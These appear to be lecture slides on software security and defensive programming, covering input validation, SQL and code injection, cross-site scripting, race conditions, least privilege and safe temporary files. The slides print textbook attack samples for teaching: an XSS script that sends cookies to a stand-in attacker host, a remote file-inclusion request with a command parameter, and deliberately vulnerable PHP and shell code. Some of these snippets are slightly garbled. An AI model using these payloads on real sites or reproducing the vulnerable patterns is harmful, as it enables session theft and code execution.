Chapter 11

Software Security
Secure programs

- Security implies some degree of trust that the program enforces expected
  - Confidentiality
  - Integrity
  - Availability

- How can we look at software component and assess its security?
Secure programs

- Why is it so hard to write secure programs?

- Axiom (Murphy):
  - Programs have bugs

- Corollary:
  - Security-relevant programs have security bugs
Software Security Issues

● Many vulnerabilities result from poor programming practices
● Consequence from insufficient checking and validation of data and error codes
  ○ awareness of these issues is a critical initial step in writing more secure program code
● Software error categories:
  ○ insecure interaction between components
  ○ risky resource management
  ○ porous defenses
Secure programs

- Evaluation of what is “Secure” is subject to the perspective of the evaluator
  - Managers
  - Developers
  - Technicians
  - Clients
Software Quality and Reliability

- Concerned with accidental failure of program
  - as a result of some theoretically random, unanticipated input, system interaction, or use of incorrect code
- Improve using structured design and testing to identify and eliminate as many bugs as possible from a program
  - concern is how often they are triggered
- Failures are expected to follow some form of probability distribution
Software Security

- Attacker chooses probability distribution, specifically targeting bugs that result in a failure that can be exploited by the attacker

- Triggered by inputs that differ dramatically from what is usually expected

- Unlikely to be identified by common testing approaches
Secure programs

- The quantity and types of faults in requirements design and code implementation are often used as evidence of a product’s quality or security.
- A program that undergoes very rigorous testing and is found to have 100 errors that are fixed, or
- A program that undergoes less scrutiny but only locates 20 errors that are found and fixed?
  - Programs with a large number of identified faults tend to exhibit even more faults as time progresses.
  - Fewer faults up front is usually an indicator of well designed and fault free implementations.
    - Even when less rigorous testing is done.
Defensive Programming

- Also called secure programming
- A form of defensive design to ensure continued function of software despite unforeseen usage
- Requires attention to all aspects of program execution, environment, and type of data it processes
- Assume nothing, check all potential errors
- Programmer never assumes a particular function call or library will work as advertised so handles it in the code
Abstract Program Model

Figure 12.1 Abstract View of Program
Defensive Programming

● Programmers often make assumptions about the type of inputs a program will receive and the environment it executes in
  ○ assumptions need to be validated by the program and all potential failures handled gracefully and safely

● Requires a changed mindset to traditional programming practices
  ○ programmers have to understand how failures can occur and the steps needed to reduce the chance of them occurring in their programs

● Conflicts with business pressures to keep development times as short as possible to maximize market advantage
Security by Design

● Security and reliability are common design goals in most engineering disciplines
● Software development not as mature
● Despite having a number of software development and quality standards
  ○ main focus is general development lifecycle
    ■ increasingly identify security as a key goal
● Software Assurance Forum for Excellence in Code (SAFECode)
  ○ Develop publications outlining industry best practices for software assurance and providing practical advice for implementing proven methods for secure software development
Handling Program Input

- Incorrect handling is a very common failing

- Input is any source of data from outside and whose value is not explicitly known by the programmer when the code was written

- Must identify all data sources

- Explicitly validate assumptions on size and type of values before use
Input Size & Buffer Overflow

- Programmers often make assumptions about the maximum expected size of input
  - allocated buffer size is not confirmed
  - resulting in buffer overflow
- Testing may not identify vulnerability
  - test inputs are unlikely to include large enough inputs to trigger the overflow
- Safe coding treats all input as dangerous
Interpretation of Program Input

- Program input may be binary or text
  - binary interpretation depends on encoding and is usually application specific

- There is an increasing variety of character sets being used
  - care is needed to identify just which set is being used and what characters are being read

- Failure to validate may result in an exploitable vulnerability
  - Heartbleed OpenSSL bug is a recent example of a failure to check the validity of a binary input value
Injection Attacks

- Flaws relating to invalid handling of input data,
  - specifically when program input data can accidentally or deliberately influence the flow of execution of the program

- Most often occur in scripting languages
  - encourage reuse of other programs and system utilities where possible to save coding effort
  - often used as Web CGI scripts
SQL Injection Attack

- User supplied input is used to construct a SQL request to retrieve information from a database

- Vulnerability is similar to command injection
  - difference is that SQL metacharacters are used rather than shell metacharacters
  - to prevent this type of attack the input must be validated before use
SQL Injection Attack

(a) Vulnerable PHP code

```php
$name = $_REQUEST['name'];
$query = "SELECT * FROM suppliers WHERE name = ''; $name . '';";
$result = mysql_query($query);
```

(b) Safer PHP code

```php
$name = $_REQUEST['name'];
$query = "SELECT * FROM suppliers WHERE name = '';
    mysql_real_escape_string($name) . '';";
$result = mysql_query($query);
```
Code Injection Attack

- Input includes code that is then executed by the attacked system
  - PHP remote code injection vulnerability
  - PHP file inclusion vulnerability

- PHP CGI scripts are vulnerable and are being actively exploited
Code Injection Attack

(a) Vulnerable PHP code

```php
<?php
include $path . 'functions.php';
include $path . 'data/prefs.php';
...
```

(b) HTTP exploit request

```
GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls
```

defenses:

- Block assignment of form field values to global variables
- Only use constant values in include/require commands
Cross Site Scripting (XSS) Attacks

- Attacks where input provided by one user is subsequently output to another user
- Commonly seen in scripted Web applications
  - vulnerability involves the inclusion of script code in the HTML content
  - script code may need to access data associated with other pages
  - browsers impose security checks and restrict data access to pages originating from the same site
    - all content from one site is equally trusted and is permitted to interact with other content from the site
XSS reflection vulnerability

- Attacker includes the malicious script content in data supplied to a site.

Example

- User's cookie is supplied to the attacker who could then use it to impersonate the user on the original site.
- To prevent this attack any user supplied input should be examined and any dangerous code removed or escaped to block its execution.
XSS Example

(a) Plain XSS example

```
Thanks for this information, its great!
<script>document.location='http://hacker.web.site/cookie.cgi?'+
document.cookie</script>
```

(b) Encoded XSS example

```
Thanks for this information, its great!
&amp;60;&amp;115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#62;
&amp;#160;&amp;#111;&amp;#99;&amp;#117;&amp;#109;&amp;#101;&amp;#110;&amp;#116;
&amp;#46;&amp;#108;&amp;#111;&amp;#99;&amp;#97;&amp;#116;&amp;#105;&amp;#111;
&amp;#110;&amp;#61;&amp;#39;&amp;#104;&amp;#116;&amp;#112;&amp;#58;
&amp;#47;&amp;#47;&amp;#104;&amp;#97;&amp;#99;&amp;#107;&amp;#101;&amp;#114;
&amp;#46;&amp;#119;&amp;#101;&amp;#98;&amp;#46;&amp;#115;&amp;#105;&amp;#116;
&amp;#101;&amp;#47;&amp;#99;&amp;#111;&amp;#111;&amp;#107;&amp;#105;&amp;#101;
&amp;#46;&amp;#99;&amp;#103;&amp;#105;&amp;#63;&amp;#39;&amp;#43;&amp;#109;
&amp;#111;&amp;#99;&amp;#117;&amp;#109;&amp;#101;&amp;#115;&amp;#46;
&amp;#99;&amp;#111;&amp;#111;&amp;#107;&amp;#105;&amp;#101;&amp;#60;&amp;#47;
&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#62;
```
Validating Input Syntax

- it is necessary to ensure that data conform with any assumptions made about the data before subsequent use
  - input data should be compared against what is wanted
  - alternative is to compare the input data with known dangerous values
  - by only accepting known safe data the program is more likely to remain secure
Alternate Encodings

● May have multiple means of encoding text
  ○ growing requirement to support users around the globe and to interact with their own languages
    ■ Unicode used for internationalization
      ● uses 16-bit value for characters
      ● UTF-8 encodes as 1-4 byte sequences

● Canonicalization
  ○ transforming input data into a single, standard, minimal representation
    ■ once this is done the input data can be compared with a single representation of acceptable input values
Validating Numeric Input

- Additional concern when input data represents numeric values
- Internally stored in fixed sized value
  - 8, 16, 32, 64-bit integers
  - Floating point numbers depend on the processor used
  - Values may be signed or unsigned
- Must correctly interpret text form and process consistently
  - Have issues comparing signed to unsigned
  - Could be used to thwart buffer overflow check
Input Fuzzing

- Software testing technique that uses randomly generated data as inputs to a program
  - range of inputs is very large
  - intent is to determine if the program or function correctly handles abnormal inputs
  - simple, free of assumptions, cheap
  - assists with reliability as well as security

- Can also use templates to generate classes of known problem inputs
  - disadvantage is that bugs triggered by other forms of input would be missed
  - combination of approaches is needed for reasonably comprehensive coverage of the inputs
Writing Safe Program Code

- Second component is processing of data by some algorithm to solve required problem
- High-level languages are typically compiled and linked into machine code which is then directly executed by the target processor
- Security issues:
  - correct algorithm implementation
  - correct machine instructions for algorithm
  - valid manipulation of data
Correct Algorithm Implementation

- Issue of good program development technique
  - algorithm may not correctly handle all problem variants
  - consequence of deficiency is a bug in the resulting program that could be exploited
- Initial sequence numbers used by many TCP/IP implementations are too predictable
  - combination of the sequence number as an identifier and authenticator of packets and the failure to make them sufficiently unpredictable enables the session hijack attack to occur
Correct Algorithm Implementation

- Another variant is when the programmers deliberately include additional code in a program to help test and debug it
  - often code remains in production release of a program and could inappropriately release information
  - may permit a user to bypass security checks and perform actions they would not otherwise be allowed to perform
  - this vulnerability was exploited by the Morris Internet Worm
Ensuring Machine Language Corresponds to Algorithm

- Issue is ignored by most programmers
  - assumption is that the compiler or interpreter generates or executes code that validly implements the language statements
- Requires comparing machine code with original source
  - slow and difficult
- Development of computer systems with very high assurance level is the one area where this level of checking is required
Correct Data Interpretation

- Data stored as bits/bytes in computer
  - grouped as words or longwords
  - accessed and manipulated in memory or copied into processor registers before being used
  - interpretation depends on machine instruction executed

- Different languages provide different capabilities for restricting and validating interpretation of data in variables
  - strongly typed languages are more limited, safer
  - other languages allow more liberal interpretation of data and permit program code to explicitly change their interpretation
Correct Use of Memory

- **Issue of dynamic memory allocation**
  - used to manipulate unknown amounts of data
  - allocated when needed, released when done

- **Memory leak**
  - steady reduction in memory available on the heap to the point where it is completely exhausted

- **Many older languages have no explicit support for dynamic memory allocation**
  - use standard library routines to allocate and release memory

- **Modern languages handle automatically**
Race Conditions

- Without synchronization of accesses it is possible that:
  - values may be corrupted or
  - changes lost due to overlapping access, use, and replacement of shared values
- Arise when writing concurrent code whose solution requires the correct selection and use of appropriate synchronization primitives
- Deadlock
  - processes or threads wait on a resource held by the other
  - one or more programs has to be terminated
Operating System Interaction

- Programs execute on systems under the control of an operating system
  - mediates and shares access to resources
  - constructs execution environment
  - includes environment variables and arguments

- Systems have a concept of multiple users
  - resources are owned by a user and have permissions granting access with various rights to different categories of users
  - programs need access to various resources,
  - however excessive levels of access are dangerous
  - concerns when multiple programs access shared resources such as a common file
Environment Variables

● Collection of string values inherited by each process from its parent
  ○ can affect the way a running process behaves
  ○ included in memory when it is constructed
● Can be modified by the program process at any time
  ○ modifications will be passed to its children
● Another source of untrusted program input
● Most common use is by a local user attempting to gain increased privileges
  ○ goal is to subvert a program that grants superuser or administrator privileges
Vulnerable Shell Script Example

(a) Example vulnerable privileged shell script

```
#!/bin/bash
user=`echo $1 | sed 's/\@.*/\@/'
grep $user /var/local/accounts/ipaddrs
```

(b) Still vulnerable privileged shell script

```
#!/bin/bash
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH
user=`echo $1 | sed 's/\@.*/\@/'
grep $user /var/local/accounts/ipaddrs
```
Vulnerable Compiled Programs

- Programs can be vulnerable to PATH variable manipulation
  - must reset to “safe” values

- If dynamically linked may be vulnerable to manipulation of LD_LIBRARY_PATH
  - used to locate suitable dynamic library
  - must either statically link privileged programs or prevent use of this variable
Use of Least Privilege

- Privilege escalation
  - exploit of flaws may give attacker greater privileges
- Least privilege
  - run programs with least privilege needed to complete their function
- Determine appropriate user and group privileges required
  - decide whether to grant extra user or just group privileges
- Ensure that privileged program can modify only those files and directories necessary
Root/Administrator Privileges

- Programs with root / administrator privileges are a major target of attackers
  - they provide highest levels of system access and control
  - are needed to manage access to protected system resources
- Often privilege is only needed at start
  - can then run as normal user
- Good design partitions complex programs in smaller modules with needed privileges
  - provides a greater degree of isolation between components
  - reduces consequences of a security breach in one component
  - easier to test and verify
System Calls and Standard Library Functions

- Programs use system calls and standard library functions for common operations
  - programmers make assumptions about their operation
    - if incorrect behavior is not what is expected
    - may be a result of system optimizing access to shared resources
    - results in requests for services being buffered, resequenced, or otherwise modified to optimize system use
    - optimizations can conflict with program goals
Secure File Shredder

(a) Initial secure file shredding program algorithm

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, ... ]
open file for writing
for each pattern
  seek to start of file
  overwrite file contents with pattern
close file
remove file

(b) Better secure file shredding program algorithm

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, ... ]
open file for update
for each pattern
  seek to start of file
  overwrite file contents with pattern
  flush application write buffers
  sync file system write buffers with device
close file
remove file
Preventing Race Conditions

- Programs may need to access a common system resource
- Need suitable synchronization mechanisms
  - most common technique is to acquire a lock on the shared file
- Lockfile
  - process must create and own the lockfile in order to gain access to the shared resource
  - Concerns
    - if a program chooses to ignore the existence of the lockfile and access the shared resource the system will not prevent this
    - all programs using this form of synchronization must cooperate
      - implementation
Perl File Locking Example

#!/usr/bin/perl
#
$EXCL_LOCK = 2;
$UNLOCK = 8;
$FILENAME = "forminfo.dat";

# open data file and acquire exclusive access lock
open (FILE, ">> $FILENAME") || die "Failed to open $FILENAME \n";
flock FILE, $EXCL_LOCK;
... use exclusive access to the forminfo file to save details
# unlock and close file
flock FILE, $UNLOCK;
close(FILE);
Safe Temporary Files

- many programs use temporary files
- often in common, shared system area
- must be unique, not accessed by others
- commonly create name using process ID
  - unique, but predictable
  - attacker might guess and attempt to create own file between program checking and creating
  - secure temporary file creation and use requires the use of random names
Temporary File Creation Example

```c
char *filename;
int fd;
do {
    filename = tempnam (NULL, "foo");
    fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
    free (filename);
} while (fd == -1);
```
Other Program Interaction

- Programs may use functionality and services of other programs
  - security vulnerabilities can result unless care is taken with this interaction
    - such issues are of particular concern when the program being used did not adequately identify all the security concerns that might arise
    - occurs with the current trend of providing Web interfaces to programs
    - burden falls on the newer programs to identify and manage any security issues that may arise
- Issue of data confidentiality / integrity
- Detection and handling of exceptions and errors generated by interaction is also important from a security perspective
Handling Program Output

● Final component is program output
  ○ may be stored for future use, sent over net, displayed
  ○ may be binary or text

● Important from a program security perspective that the output conform to the expected form and interpretation

● Programs must identify what is permissible output content and filter any possibly untrusted data to ensure that only valid output is displayed

● Character set should be specified
Summary

- Software security issues
  - defensive/secure programming
- Handling program input
  - key concern for input:
    - size /interpretation
- Injection attack
  - command /SQL /code
- Cross-site scripting attacks
  - XSS reflection
- Validating input syntax
- Input fuzzing
- Handling program output

- Writing safe program code
  - correct algorithm implementation
  - ensuring machine language corresponds to algorithm
  - correct interpretation of data values
  - correct use of memory
  - preventing race conditions

- Interacting with the operating system and other programs
  - environment variables
  - least privileges
  - safe temporary file use
  - preventing race conditions